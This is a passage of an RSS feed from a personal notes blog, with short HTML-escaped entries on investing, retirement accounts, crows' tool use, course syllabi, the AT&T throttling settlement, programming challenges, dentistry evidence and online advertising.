 4 types of retirement accounts, each with tradeoffs (en.wikipedia.org)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;401(k), Roth 401(k), Traditional IRA and Roth IRA&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The return of lazy portfolios (set and forget) is 
&lt;a href="https://finpage.blog/2019/01/14/lazy-portfolios-in-2018/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 ~6% (compounded) over 15 years as of 2018 (finpage.blog)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="notes-from-rinvesting"&gt;Notes from 
&lt;a href="https://www.reddit.com/r/investing/wiki/faq"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 /r/investing&amp;rsquo;s FAQ (reddit.com)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The FAQ emphasizes reading books&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I don&amp;rsquo;t see the urgency. It&amp;rsquo;s not as if I&amp;rsquo;ll be picking my own stocks&amp;hellip; Maybe it&amp;rsquo;s for me to know when to call bullshit.&lt;/p&gt;</description></item><item><title>Investing in Kenya</title><link>https://www.curiosities.dev/business/investing-in-kenya/</link><pubDate>Tue, 24 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/investing-in-kenya/</guid><description>&lt;h2 id="areas-to-consider"&gt;Areas to Consider&lt;/h2&gt;
&lt;h3 id="capital-markets"&gt;Capital Markets&lt;/h3&gt;
&lt;p&gt;The Central Depository and Settlement Corporation (CDSC) runs the Central
Depository System (CDS) that facilitates holding and trading of shares at the
Nairobi Stock Exchange (NSE). A Central Depository Agent (CDA) is a Stockbroker,
an Investment Bank, or a Custodian Bank, who has been authorized by the CDSC to
open accounts in CDS on behalf of investors. &lt;span class="citation-ref"&gt;&lt;a href="#CDSC"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#NSEOnlineTrading"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In 2006, an Automatic Trading System was introduced so that orders are matched
automatically and executed by stockbrokers on a first-come first-served basis.
Government bonds have also been added to the ATS. Securities lending,
short-selling and same day turnaround trades are not yet permitted. &lt;span class="citation-ref"&gt;&lt;a href="#KestrelNSE"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>What are the Basic Ideas On Investing?</title><link>https://www.curiosities.dev/business/2019-12-24-basic-ideas-behind-investing/</link><pubDate>Tue, 24 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2019-12-24-basic-ideas-behind-investing/</guid><description>&lt;h2 id="things-to-invest-in"&gt;Things to invest in&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;(Least risk) Bonds, Stocks, Startups (Most Risk).
&lt;ul&gt;
&lt;li&gt;Why not start a business?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-amount-of-money"&gt;The Amount of Money&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Some investments only make sense in bulk for they have low margins, e.g. stocks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-risk-tolerance"&gt;The risk tolerance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The higher the risk, the higher the reward&lt;/li&gt;
&lt;li&gt;The law protects investors, e.g. startup investors in the US must be accredited&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-time-frame"&gt;The Time Frame&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Maybe 10 years? Allows for compounding.&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s better to let the goal determine the time frame, e.g. retirement, home, etc.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>[BBC] Crows Could be the Smartest Animal Other Than Primates</title><link>https://www.curiosities.dev/biology/2019-12-11-bbc-crows-might-be-the-smartest-animal-other-than-primates/</link><pubDate>Wed, 11 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/biology/2019-12-11-bbc-crows-might-be-the-smartest-animal-other-than-primates/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Baraniuk2019'&gt;
 
 Crows Could be the Smartest Animal Other Than Primates&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Chris Baraniuk.
 
 
 
 
 &lt;a href="https://www.bbc.com/future/article/20191211-crows-could-be-the-smartest-animal-other-than-primates" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.bbc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.bbc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Dec 11, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;New Caledonian crows make hooked tools from soft twigs to scoop insects out of holes. Other animals that use tools: chimpanzees, parrots, alligators and crabs.&lt;/p&gt;
&lt;p&gt;The crows found the desired stems even when they had been disguised with leaves from a different plant species.&lt;/p&gt;</description></item><item><title>[ToDo] CS 228: Probabilistic Graphical Models</title><link>https://www.curiosities.dev/todo/computer-science/cs228-probabilistic-graphical-models/</link><pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/cs228-probabilistic-graphical-models/</guid><description>&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Probability Theory&lt;/li&gt;
&lt;li&gt;Bayesian Networks&lt;/li&gt;
&lt;li&gt;Undirected Models&lt;/li&gt;
&lt;li&gt;Learning Bayes Nets&lt;/li&gt;
&lt;li&gt;Exact Inference&lt;/li&gt;
&lt;li&gt;Message Passing&lt;/li&gt;
&lt;li&gt;Sampling&lt;/li&gt;
&lt;li&gt;MAP Inference&lt;/li&gt;
&lt;li&gt;Structured Prediction&lt;/li&gt;
&lt;li&gt;Parameter Learning&lt;/li&gt;
&lt;li&gt;Bayesian Learning&lt;/li&gt;
&lt;li&gt;Structure Learning&lt;/li&gt;
&lt;li&gt;Exponential Families&lt;/li&gt;
&lt;li&gt;Variational Inference&lt;/li&gt;
&lt;li&gt;Advanced Topics and Conclusions&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 https://cs228.stanford.edu/&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Stefano Ermon.
 
 
 
 Stanford University.
 
 
 
 
 
 
 
 
 
 
&lt;/div&gt;</description></item><item><title>On Graduation</title><link>https://www.curiosities.dev/blog/2019-11-28-on-graduation/</link><pubDate>Sat, 30 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/blog/2019-11-28-on-graduation/</guid><description>&lt;p&gt;In 8 hours, family and friends will gather at our home to celebrate my graduation. It&amp;rsquo;s a big deal - I left Kenya for Princeton, graduated and now work at Microsoft. I&amp;rsquo;ll probably need to say something at some point. Here&amp;rsquo;s that &lt;em&gt;thing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m humbled, not because I&amp;rsquo;m striving to be virtuous, but from realizing that my current state is a series of non-deterministic yet compounding luck 
&lt;a href="#TRoL"
 
 
 
 &gt;
 [TRoL]
 
&lt;/a&gt;
, 
&lt;a href="#Housel"
 
 
 
 &gt;
 [Housel]
 
&lt;/a&gt;
. In my time counselling Kenyan students applying to US universities, I haven&amp;rsquo;t been able to reliably help them gain admission 
&lt;a href="#KAtUS"
 
 
 
 &gt;
 [KAtUS]
 
&lt;/a&gt;
.&lt;/p&gt;</description></item><item><title>Book Review: All Therapy Books [Scott Alexander]</title><link>https://www.curiosities.dev/social-science/psychology/2019-11-20-ssc-all-therapy-books/</link><pubDate>Wed, 20 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/psychology/2019-11-20-ssc-all-therapy-books/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Alexander2019'&gt;
 
 Book Review: All Therapy Books&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Scott Alexander.
 
 
 
 
 &lt;a href="https://slatestarcodex.com/2019/11/20/book-review-all-therapy-books/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=slatestarcodex.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;slatestarcodex.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Nov 20, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Scott&amp;rsquo;s thesis: &lt;em&gt;Each of the therapy books on their own can be convincing. But they should be taken in the context of All Therapy Books, which as a category are pretty worrying.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://en.wikipedia.org/wiki/Dodo_bird_verdict"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Dodo Bird Verdict
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
: All psychotherapies are about equally good, and the only things that matters are &amp;ldquo;nonspecific factors&amp;rdquo; like how much patients like their therapist.&lt;/p&gt;</description></item><item><title>AT&amp;T to pay $60m in settlement for slowing cellphone data on unlimited plans</title><link>https://www.curiosities.dev/business/optimism_and_deception/2019-11-05-att-pay-60m-in-settlement/</link><pubDate>Tue, 05 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/optimism_and_deception/2019-11-05-att-pay-60m-in-settlement/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Reuters2019'&gt;
 
 AT&amp;amp;T to pay $60m in settlement for slowing cellphone data on unlimited plans&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.reuters.com/article/us-at-t-settlement/att-will-pay-60-million-over-u-s-allegations-it-lied-in-unlimited-data-pledge-government-idUSKBN1XF26Q" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.reuters.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.reuters.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Nov 5, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Complaint filed in 2014 by the FTC: AT&amp;amp;T charged smartphone users for &amp;lsquo;unlimited&amp;rsquo; data plans, but throttled them after ~2GB within a month.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;AT&amp;amp;T: None of these allegations were ever proved in court. We were fully prepared to defend ourselves, but decided settling was in the best interests of consumers.&lt;/p&gt;</description></item><item><title>To-Do List (Intermediate)</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/_219_to-do_list_part_2/</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/_219_to-do_list_part_2/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/3a64hq/20150617_challenge_219_intermediate_todo_list/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to original Reddit submission
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thanks for that list you made me, my thoughts are way more organised!&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve got a few problems though that I thought you might be able to help with?
Sometimes I put the wrong information in a list item. Maybe to prevent this
I&amp;rsquo;d be able to modify/update the list item? That&amp;rsquo;s not the only problem though,
when there are 50+ items it gets kind of hard to work my way through. Do you
think you could maybe add the ability to categorise my items? Obviously, if I
have that, I&amp;rsquo;d also like to be able to view by category!&lt;/p&gt;</description></item><item><title>Smooshed Morse Code (Intermediate)</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/380_intermediate_smooshed_morse_code/380_intermediate_smooshed_morse_code/</link><pubDate>Mon, 07 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/380_intermediate_smooshed_morse_code/380_intermediate_smooshed_morse_code/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/cn6gz5/20190807_challenge_380_intermediate_smooshed/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to original Reddit submission
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;The challenge is to match a string like &lt;code&gt;.--...-.-.-.....-.--........----.-.-..---.---.--.--.-.-....-..-...-.---..--.----..&lt;/code&gt; to a permutation of the English alphabet that would produce it, e.g. &lt;code&gt;wirnbfzehatqlojpgcvusyxkmd&lt;/code&gt;. Note that there may be more than one valid permutation.&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m used to problems where the resources are not depleted, e.g. I can use &lt;code&gt;a&lt;/code&gt; as many times as I want. The trickiest part was keeping track of the substring indexes.&lt;/p&gt;</description></item><item><title>[ToDo] INFO 270: Calling Bullshit: Data Reasoning in a Digital World</title><link>https://www.curiosities.dev/todo/social-sciences/calling-bullshit/</link><pubDate>Sun, 01 Sep 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/social-sciences/calling-bullshit/</guid><description>&lt;p&gt;
&lt;a href="https://www.curiosities.dev/knowing/calling-bullshit/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Introduction"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Introduction to bullshit
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Spotting"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Spotting bullshit
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Ecology"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 The natural ecology of bullshit
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Causality"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Causality
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Statistical"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Statistical traps
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Visual"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Visualization
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Big"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Big data
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Publication"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Publication bias
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Predatory"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Predatory publishing and scientific misconduct
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Ethics"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 The ethics of calling bullshit.
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Fake"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Fake news
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.callingbullshit.org/syllabus.html#Refute"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Refuting bullshit
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 INFO 270: Calling Bullshit: Data Reasoning in a Digital World&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Carl T. Bergstrom; Jevin West.
 
 
 
 
 
 &lt;a href="https://www.callingbullshit.org/syllabus.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.callingbullshit.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.callingbullshit.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>In Search of Influential Academic Publications</title><link>https://www.curiosities.dev/blog/2019-06-16-most-important-papers/</link><pubDate>Fri, 28 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/blog/2019-06-16-most-important-papers/</guid><description>&lt;section&gt;
 &lt;p&gt;
 I recently downloaded citations data from &lt;cite&gt;
 &lt;a href="https://www.aminer.org/citation"
 title="Jie Tang, Jing Zhang, Limin Yao, Juanzi Li, Li Zhang, and Zhong Su. ArnetMiner: Extraction and Mining of Academic Social Networks. In Proceedings of the Fourteenth ACM SIGKDD International Conference on Knowledge Discovery and Data Mining (SIGKDD'2008). pp.990-998. [PDF] [Slides] [System] [API]"&gt;
 Aminer
 &lt;/a&gt;
 &lt;/cite&gt;. I seek interesting papers to read during my free time &lt;a href="#fermat_note"&gt;[note]&lt;/a&gt;.
 The database has the following structure:
 &lt;/p&gt;

 &lt;table&gt;
 &lt;thead&gt;
 &lt;th&gt;Table&lt;/th&gt;
 &lt;th&gt;Columns&lt;/th&gt;
 &lt;th&gt;Remarks&lt;/th&gt;
 &lt;/thead&gt;
 &lt;tr&gt;
 &lt;td&gt;papers&lt;/td&gt;
 &lt;td&gt;paper_id, title, venue, year, number of citations, abstract&lt;/td&gt;
 &lt;td&gt;3,079,007 papers from 1936 to 2018&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;authors&lt;/td&gt;
 &lt;td&gt;name, appearance order, paper_id&lt;/td&gt;
 &lt;td&gt;1,766,547 distinct names (out of 9,476,165 names)&lt;/td&gt;
 &lt;/tr&gt;

 &lt;tr&gt;
 &lt;td&gt;paper_references&lt;/td&gt;
 &lt;td&gt;paper_id, cited_paper_id&lt;/td&gt;
 &lt;td&gt;25,166,994 references&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/table&gt;
&lt;/section&gt;

&lt;section&gt;

 &lt;h2&gt;Approach 1: Citation Count&lt;/h2&gt;

 &lt;p&gt;
 For one, we can answer that with a SQL query:
 &lt;pre&gt;&lt;code&gt;SELECT papers.* FROM papers ORDER BY papers.n_citation DESC LIMIT 10;&lt;/code&gt;&lt;/pre&gt;
 &lt;/p&gt;</description></item><item><title>[ToDo] Algorithms by Jeff Erickson</title><link>https://www.curiosities.dev/todo/computer-science/erickson-algorithms/</link><pubDate>Sat, 15 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/erickson-algorithms/</guid><description>&lt;p&gt;Introduction; Recursion; Backtracking; Dynamic Programming; Greedy Algorithms; Basic Graph Algorithms; Depth-First Search; Minimum Spanning Trees; Shortest Paths; All-Pairs Shortest Paths; Maximum Flows &amp;amp; Minimum Cuts; Applications of Flows and Cuts; NP-Hardness.&lt;/p&gt;
&lt;p&gt;Fast Fourier Transforms; Fast Exponential Algorithms; Dynamic Programming for Formal Languages and Automata; Advanced Dynamic Programming; Matroids; Balances and Pseudoflows; Minimum-Cost Flows; Linear Programming; Linear Programming Algorithms; Approximation Algorithms.&lt;/p&gt;
&lt;p&gt;Discrete Probability; Nuts and Bolts; Treaps and Skip Lists; Tail Inequalities; Hashing; Filtering and Streaming; String Matching; Randomized Minimum Cut; Amortized Analysis; Scapegoat and Splay Trees; Disjoint Sets; Lower Bounds; Adversary Arguments; Proof by Induction; Solving Recurrences.&lt;/p&gt;</description></item><item><title>A Random Walk Down Wall Street [Malkiel, Burton Gordon]</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/_meta/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/_meta/</guid><description/></item><item><title>Is Dentistry a Science? [The Atlantic]</title><link>https://www.curiosities.dev/health-and-medicine/2019-05-01-is-dentistry-a-science/</link><pubDate>Wed, 01 May 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2019-05-01-is-dentistry-a-science/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Jabr2019'&gt;
 
 Is Dentistry a Science?&lt;i&gt;&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Ferris Jabr.
 
 
 
 
 &lt;a href="https://www.theatlantic.com/magazine/archive/2019/05/the-trouble-with-dentistry/586039/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.theatlantic.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.theatlantic.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 May 1, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;
&lt;a href="https://oralhealth.cochrane.org/oral-health-evidence"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Cochrane Oral Health
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 reviews dental procedures in a systematic manner. Unfortunately, most of the reviews don&amp;rsquo;t find substantive support for dental interventions.&lt;/p&gt;
&lt;p&gt;There is currently no substantive evidence for: &lt;em&gt;binannual cleanings, fluoridation reducing tooth decay in adults; regular flossing combating plaque (gum disease? probably); preventative wisdom teeth removal; tooth-colored resin instead of metal amalgam fillings; crown vs. filling to repair root-canaled tooth.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Online Advertising</title><link>https://www.curiosities.dev/business/2019-04-10-online-advertising/</link><pubDate>Wed, 10 Apr 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2019-04-10-online-advertising/</guid><description>&lt;h2 id="market-snapshot"&gt;Market Snapshot&lt;/h2&gt;
&lt;p&gt;In 2025, the online advertising marketing size was ~500B. Notables:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;North America has the largest revenue share of over 34%.&lt;/li&gt;
&lt;li&gt;By platform, mobile leads at 59% of revenue share.&lt;/li&gt;
&lt;li&gt;The top 3 are: Google ($214B), Meta ($196B), and Amazon ($68B)&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/business/advertising/emarket-digital-ads-2026-forecast.jpg"
 alt="eMarket&amp;rsquo;s digital ads projection for 2026. Meta is expected to
surpass Google for the first time. Didn&amp;rsquo;t expect to see MSFT so low, and even
even, signficantly buoyed by LinkedIn. Also, Pinterest over Reddit is
surprising."&gt;&lt;figcaption&gt;
 &lt;p&gt;eMarket&amp;rsquo;s digital ads projection for 2026. Meta is expected to
surpass Google for the first time. Didn&amp;rsquo;t expect to see MSFT so low, and even
even, signficantly buoyed by LinkedIn. Also, Pinterest over Reddit is
surprising.&lt;/p&gt;</description></item><item><title>The Shady Economics of Buy-One-Get-One Free Deals [The Hustle]</title><link>https://www.curiosities.dev/business/optimism_and_deception/2019-02-17-shady-economics-of-buy-one-get-one-free-deals/</link><pubDate>Sun, 17 Feb 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/optimism_and_deception/2019-02-17-shady-economics-of-buy-one-get-one-free-deals/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Crockett2019'&gt;
 
 The Shady Economics of Buy-One-Get-One Free Deals&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Zachary Crockett.
 
 
 
 
 &lt;a href="https://thehustle.co/are-buy-one-get-one-free-deals-worth-it/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=thehustle.co" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;thehustle.co&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Feb 17, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;BOGO goods are usually low-demand, non-efficient, lacking in quality and/or close to the expiration date. The BOGO deal is usually a 50% discount off of the manufacturer’s suggested retail price (MSRP). And oftentimes, this price is artificially marked up to begin with.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MyPillow offered BOGO deal on their pillows, but really just doubled the price of the first pillow.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Law of diminishing marginal utility: consumers will buy two of something when the word ‘free’ is involved, even when they only need one — and the second item often ends up in the trash.&lt;/p&gt;</description></item><item><title>Facebook Monetizing Encrypted Messaging by Analyzing Metadata [Twitter]</title><link>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2019-01-25-fb-monetizing-encrypted-messages/</link><pubDate>Fri, 25 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2019-01-25-fb-monetizing-encrypted-messages/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Facebook Monetizing Encrypted Messaging by Analyzing Metadata&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 @SarahJamieLewis.
 
 
 
 
 &lt;a href="https://twitter.com/SarahJamieLewis/status/1088914192847917056" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=twitter.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;twitter.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 25, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

